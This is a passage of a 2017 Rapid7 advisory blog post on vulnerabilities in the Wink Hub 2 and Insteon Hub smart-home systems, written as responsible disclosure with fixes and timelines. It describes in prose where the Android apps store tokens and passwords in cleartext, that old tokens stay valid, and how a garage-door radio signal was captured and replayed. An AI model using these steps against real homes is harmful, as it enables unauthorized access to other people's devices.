  • R7-2017-19.2, CWE 613 (Insufficient Session Expiration): when users log out of the Wink Android application, the authentication token used for that session is not revoked, nor does the generation of new tokens revoke older ones. In addition, there is no way for users to see and revoke all valid authentication tokens connected to their account. No CVE was assigned to this issue, as remediation would likely be done on Wink’s servers.

Product Description

Wink Hub 2 is a smart home system designed to help consumers manage multiple home IoT products and protocols from various vendors. It is composed of a hub device as well as a mobile application for user interaction. More information can be found on the vendor’s product page.

Credit

These issues were discovered by Deral Heiland, Research Lead at Rapid7, Inc. This advisory was prepared in accordance with Rapid7’s disclosure policy.

R7-2017-19.1

Details and Exploitation

During analysis of the Android mobile application for Wink (Wink application version 6.1.0.19 on Android 5.1 running kernel 3.10.72), it was discovered that the OAuth token is stored unencrypted within the following file: /data/data/com.quirky.android.wink.wink/shared_prefs/user.xml

To determine the longevity of this preference file, the Android device was rebooted, after which the unencrypted OAuth token shown in Figure 1 below was still present. It was determined that the token remained until the user logged off manually. Based on the nature of IoT technology, users typically stay logged in, however. Thus the authentication tokens are likely to stay valid indefinitely, unless the user doesn’t interact with the application for more than 30 days.

Figure 1: Unencrypted OAuth TokenFigure 1: Unencrypted OAuth Token

Remediation

A vendor-supplied patch for the mobile app should be provided to prevent storing potentially sensitive information, such as authentication tokens, in cleartext. While local storage is likely necessary for normal functionality, sensitive information should be stored in an encrypted format that requires authentication to decrypt. In the case of Android, there is a built-in secure storage method that should be used.

[Updated Sept 22, 2017]
The latest version of the Wink Android application, v6.3.0.28, fixed the authentication storage issue. This was released on Sep 13, 2017. Users should update to this version immediately.

Users should also consider enabling full-disk encryption (FDE), and be sure to log out of the Wink application when not in use. Enabling FDE will protect the authentication tokens on the device from being accessed. iPhones enable FDE by default, and most modern Android devices are capable of enabling it. FDE also adds an additional layer of protection by adding a boot password. If FDE is not possible for a particular device, the user should be especially careful not to lose the device, as sensitive data may be recoverable.

R7-2017-19.2

Details and Exploitation

Further examination of the Wink OAuth authentication mechanism revealed that there was no token revocation process. When the user logs out from the mobile application, it only sends a delete request for the mobile device tracker in specific (as shown in Figure 2 below). This tracker plays no direct roll in the authentication process.

Figure 2: Mobile Identifier DeletionFigure 2: Mobile Identifier Deletion

When the user logs back in, they are assigned a new OAuth token. However, testing showed that the old OAuth token still remained valid. To further validate the security of this, the user’s password was changed, at which point revocation of all tokens was expected. The system rebooted, but the original OAuth token still remained valid, as shown in Figure 3:

Figure 3: Reuse of expired OAuth TokenFigure 3: Reuse of expired OAuth Token

This means that if a user loses their mobile device, or if it is stolen, a malicious actor could extract the unencrypted OAuth token from the user.xml file, giving the malicious actor full access to the Wink Hub 2 remotely. This is exacerbated by the user having no method to prevent such access, short of uninstalling the Wink Hub 2 and all its services, and reinstalling it fresh.

Remediation

A vendor-supplied patch should be provided to revoke the user’s OAuth token after logout from the mobile application. In addition, a mechanism should be added to allow for the revocation of all tokens across all mobile devices with access to the user’s Wink Hub 2. This would help prevent unauthorized access to the device and services even if a device is lost or compromised.

[Updated Sept 22, 2017]
Wink reports that they plan to address this issue in the near future through a server-side change.

R7-2017-19 Disclosure Timeline

  • Wed, Jul 19, 2017: Initial contact with Wink
  • Wed, Jul 20, 2017: Wink acknowledged receipt
  • Fri, Jul 28, 2017: Details disclosed to Wink
  • Mon, Jul 31, 2017: Wink acknowledged Android token issue, plans to fix
  • Mon, Aug 14, 2017: Rapid7 reserved CVE-2017-5249 for R7-2017-19.1
  • Mon, Aug 14, 2017: Disclosed to CERT/CC
  • Fri, Sep 22, 2017: Public blog disclosure; presented at DerbyCon 7.0
  • Fri, Sep 22, 2017: Wink confirmed that R7-2017-19.1 was fixed on Sep 13, 2017, and that they intend to fix R7-2017-19.2 in the near future.

Insteon Hub: Unencrypted credential storage and radio replay vulnerabilities

Two issues related to authentication and radio transmission security were discovered in the Insteon Hub:

These issues can be used to compromise and control an Insteon Hub environment.

Product Description

The Insteon Hub is a smart home system designed to help consumers connect various home IoT products and manage home automation. It is composed of a hub device as well as a mobile application for user interaction. More information can be found on the vendor’s product page.

Credit

These issues were discovered by Deral Heiland, Research Lead at Rapid7, Inc. This advisory was prepared in accordance with Rapid7’s disclosure policy.

R7-2017-20.1

Details and Exploitation

Analysis of the Android mobile application for Insteon Hub (Insteon application version 1.9.7) revealed that the account and password for both Insteon services and the Hub hardware was stored unencrypted within the following file: /data/data/com.insteon.insteon3/shared_prefs/com.insteon.insteon3_preferences.xml

To determine the longevity of this file, the Android device was rebooted, after which the plaintext username and password shown in Figures 1 and 2 below was still present. It was determined that the account credentials remained in the file until the user logged off manually. Based on the nature of IoT technology, users typically stay logged in.

Figure 1: User PasswordFigure 1: User Password
Figure 2: Hardware Account InformationFigure 2: Hardware Account Information

Remediation

A vendor-supplied patch should be made to the mobile app to prevent storing sensitive information, such as user credentials, unencrypted. While local storage is likely necessary for normal functionality, sensitive information should be stored in an encrypted format that requires authentication to decrypt. In the case of Android, there is a built-in secure storage method that should be used.

Absent a vendor-supplied patch, users should consider full-disk encryption (FDE), and be sure to log out of the Insteon Hub application when not in use. Enabling FDE will protect the authentication tokens on the device from being accessed. iPhones enable FDE by default, and most modern Android devices are capable of enabling it. FDE also adds an additional layer of protection by adding a boot password. If FDE is not possible for a particular device, the user should be especially careful not to lose the device, as sensitive data may be recoverable.

R7-2017-20.2

Details and Exploitation

The Insteon Hub uses radio signals to communicate with connected devices, specifically a 915MHz Frequency Shift Keying (FSK) communication protocol. Analysis of this protocol revealed that the transmissions do not appear to be encrypted, nor to contain any security mechanisms to prevent replay attacks. A malicious actor can easily capture and replay the radio signals at any time to manipulate any device being managed via this communication protocol.

To test the Insteon Hub’s security against replay attacks, an Insteon Garage Door Control Kit (Device 43) was configured via an Insteon Hub (2245-222). Using software-defined radio (SDR), the 915MHz radio signal used to open and close the door via the Garage Door Control device was captured. Once captured, the signal was filtered to remove background noise and then replayed to successfully actuate the Insteon Garage Door Control device. This confirmed that the Insteon RF protocol is vulnerable to replay attacks, and is shown in Figure 3 below:

Figure 3: Radio replay via SDRFigure 3: Radio replay via SDR

 

Remediation

A vendor-supplied patch should be provided to configure the 915MHz signal to encrypt the data being communicated, or to apply a rotating certificate to prevent replay of captured RF signals.

Absent a vendor-supplied patch, users should avoid using the Insteon’s radio-control features with security-related and access control devices if they are concerned about potential radio eavesdroppers.

R7-2017-20 Disclosure Timeline

  • Wed, Jul 19, 2017: Initial contact with Insteon
  • Wed, Jul 20, 2017: Insteon acknowledged receipt
  • Fri, Jul 28, 2017: Details disclosed to Insteon
  • Mon, Jul 31, 2017: Insteon acknowledged receipt, intent to review
  • Mon, Aug 14, 2017: Rapid7 reserved CVE-2017-5250 for .1 and CVE-2017-5251 for .2
  • Mon, Aug 14, 2017: Disclosed to CERT/CC
  • Fri, Sep 22, 2017: Public blog disclosure; presented at DerbyCon 7.0

Source: https://blog.rapid7.com/2017/09/22/multiple-vulnerabilities-in-wink-and-insteon-smart-home-systems/

Author: Sam Huckins


Support